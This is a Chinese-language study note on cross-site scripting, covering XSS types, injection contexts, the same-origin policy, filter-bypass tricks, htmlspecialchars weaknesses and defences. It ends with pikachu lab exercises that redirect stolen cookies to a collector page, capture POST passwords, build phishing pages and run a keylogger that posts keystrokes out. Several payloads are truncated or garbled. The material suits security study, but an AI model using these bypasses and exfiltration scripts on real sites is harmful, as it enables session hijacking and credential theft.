滲透測試--xss跨站指令碼
阿新 • • 發佈:2020-12-10
xss跨站指令碼
XSS簡介
XSS全稱(Cross Site Scripting)跨站指令碼攻擊
屬於客戶端攻擊,受害者是使用者,但是管理員也屬於使用者,這意味著xss可以對“服務端”攻擊,因為管理員許可權比較大,可以對網站進行檔案管理,資料操作等,攻擊者一般也是通過管理員身份最為“跳板”實施攻擊。
原理/原因
程式對輸入和輸出的控制不嚴格,導致“精心構造”的指令碼輸入後,在輸出到前端時被瀏覽器當做有效程式碼解析執行,從而產生危害
- <?php
$name = $_GET[‘name’];
echo “Welcome $name
?>
最常用的指令碼語言javascript,也用其他語言
XSS的危害
劫持使用者cookie
框架釣魚
掛馬
鍵盤記錄
刷流量
分類
反射型
- 互動資料一般不會被儲存在資料庫中,只是簡單的把使用者輸入的資料反射給客戶端瀏覽器,具有一次性,所見即所得
儲存型
- 互動資料會被儲存在資料庫裡面,永久性儲存,每次頁面被訪問都會輸出給客戶端,具有很強的穩定性
Dom型
-
不與後臺伺服器產生資料互動,通過前端DOM節點形成XSS漏洞
- DOM全稱是Document Object Model,也就是文件物件模型。我們可以將DOM理解為,一個與系統平臺和程式語言無關的介面,程式和指令碼可以通過這個介面動態地訪問和修改文件內容、結構和樣式。當建立好一個頁面並載入到瀏覽器時,DOM就悄然而生,它會把網頁文件轉換為一個文件物件,主要功能是處理網頁內容。故可以使用 Javascript 語言來操作DOM以達到網頁的目的。
XSS可能存在的地方
有輸入、輸出的地方
- 任何帶引數互動的地方都可以構造xss攻擊,user-agent 、 http頭 、 cookie
HTML Context
- 頁面文字/環境
URL Context
- 地址文字/環境
Attribute Context
- 屬性文字/環境
Style Context
- 樣式文字/環境
Script Context
- 指令碼文字/環境
XSS測試方法
工具
-
自動
- AWVS 、 AppScan 、 BurpSuite
-
半自動
- Burpsuite 、 Firefox(hackbar) XSSER 、 XSSF
手工
-
最重要的是考慮哪裡有輸入,輸入的資料在哪裡輸出
- (1)在目標站點上找到輸入點,比如查詢介面,留言板等;
(3)通過搜尋定位到唯一字元,結合唯一字元前後語法確認是否可以構造執行js的條件(構造閉合);提交構造的指令碼程式碼,看是否可以成功執行,如果成功執行則說明存在XSS漏洞;
- (1)在目標站點上找到輸入點,比如查詢介面,留言板等;
同源策略
跨域
- 當協議、主機(主域名、子域名)、埠中任意一個不同時,稱為不同域,在不同域之間請求資料操作,稱為跨域操作
同源策略
- 為了安全考慮,所有瀏覽器都約定了“同源策略”,同源策略禁止頁面載入或執行不同域的任何指令碼,即不同域之間不能使用JS進行操作。
- 比如:x.com域名下的js不能操作y.com域名下的物件
那麼為什麼要有同源策略? 比如一個惡意網站的頁面通過js嵌入了銀行的登入頁面(二者不同源),如果沒有同源限制,惡意網頁上的javascript指令碼就可以在使用者登入銀行的時候獲取使用者名稱和密碼。
不受同源限制的標籤
同源策略修改
-
Access-Control-Allow-Origin=“*”
-
後臺設定
-
值為 *
- 即允許跨域指令碼執行
-
XSS繞過
前端限制
-
(1)對前端的限制可以嘗試進行抓包重發或者修改前端的HTML。
- '">
大小寫混合使用
- (2)防止後臺對輸入的內容進行正則匹配來過濾輸入,對於這樣的過濾可以考慮大小寫混合輸入的方法。
- 例:
拼湊
- (3)防止後臺對輸入的內容進行替換,採用拼拼湊的輸入方法
- <sc
註釋干擾後臺
- (4)使用註釋來干擾後臺對輸入內容的識別
- <sc ript>alert(‘你打籃球像oldboy’)</scr ipt>
編碼
- 思路:後臺有可能會對程式碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼後在插入,瀏覽器對改編碼進行識別時,會翻譯成正常的程式碼。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的)
- 使用事件屬性onerror():
- 使用HTML進行編碼:
htmlspecialchars()函式
-
htmlspecialchars()函式把一些預定義的字元轉換為 HTML 實體
- 該函式的語法:
htmlspecialchars(string,flags,character-set,double_encode)
- 該函式的語法:
-
過濾原理:htmlspecialchars() 函式把預定義的字元轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函式預設配置不會將單引號和雙引號過濾,只有設定了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號
-
作用
- &(與符號)轉義為&
- “(雙引號)轉義為"
- ‘(單引號)轉義為'
- <(小於號)轉義為<
-
(大於號)轉義為>
-
引數配置
- 可用的quotestyle型別
- ENT_COMPAT 預設,僅編碼雙引號(可繞過)
- ENT_QUOTES 編碼雙引號和單引號(a 標籤可繞過)
- ENT_NOQUOTES 不編碼任何引導
-
可使用以下語句繞過: --廢棄q’ οnclick=‘alert(111)’
改為 javascript:alert(111)
事件繞過
- 錯誤事件
- 。。。。。
html5新標籤繞過
xss之js輸出繞過
2’
;if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實厲害,看那小眼神..')
}else {
// alert($ms);
$(’#fromjs’).text(‘無論如何不要放棄心中所愛…’)
}
}
XSS防範
對輸入進行過濾
- 根據業務需求進行過濾,比如輸出點要求輸入手機號,則只允許輸入手機號格式的數字。
對輸出進行html實體編碼
- 轉義:所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到html中進行html實體轉義,輸入到JS裡面的進行JS轉義()
實戰
pikachu平臺
xss平臺搭建及後臺使用(cookie獲取)
- http://192.168.17.173:808/pikachu/vul/xss/xss_reflected_get.php?message=111’"> xss攻擊程式碼
- //通過document.location 例項進行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
反射型XSS(POST)獲取使用者密碼
- post攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html
- http://192.168.0.103:8080/post.html
xss釣魚
- 釣魚攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xfish
xss獲取鍵盤記錄
-
rk.js關鍵程式碼解讀
- var realkey = String.fromCharCode(event.keyCode);
//獲取使用者鍵盤記錄,最後轉化為字串 - xl+=realkey; //賦值給x1
- show(); //呼叫show涵數,通過下面ajax進行post傳送鍵盤記錄人內容
- var realkey = String.fromCharCode(event.keyCode);
-
輸入設定好的惡意JS程式碼:
然後在鍵盤上隨意輸入,就可以到xss平臺上去檢視鍵盤輸入的結果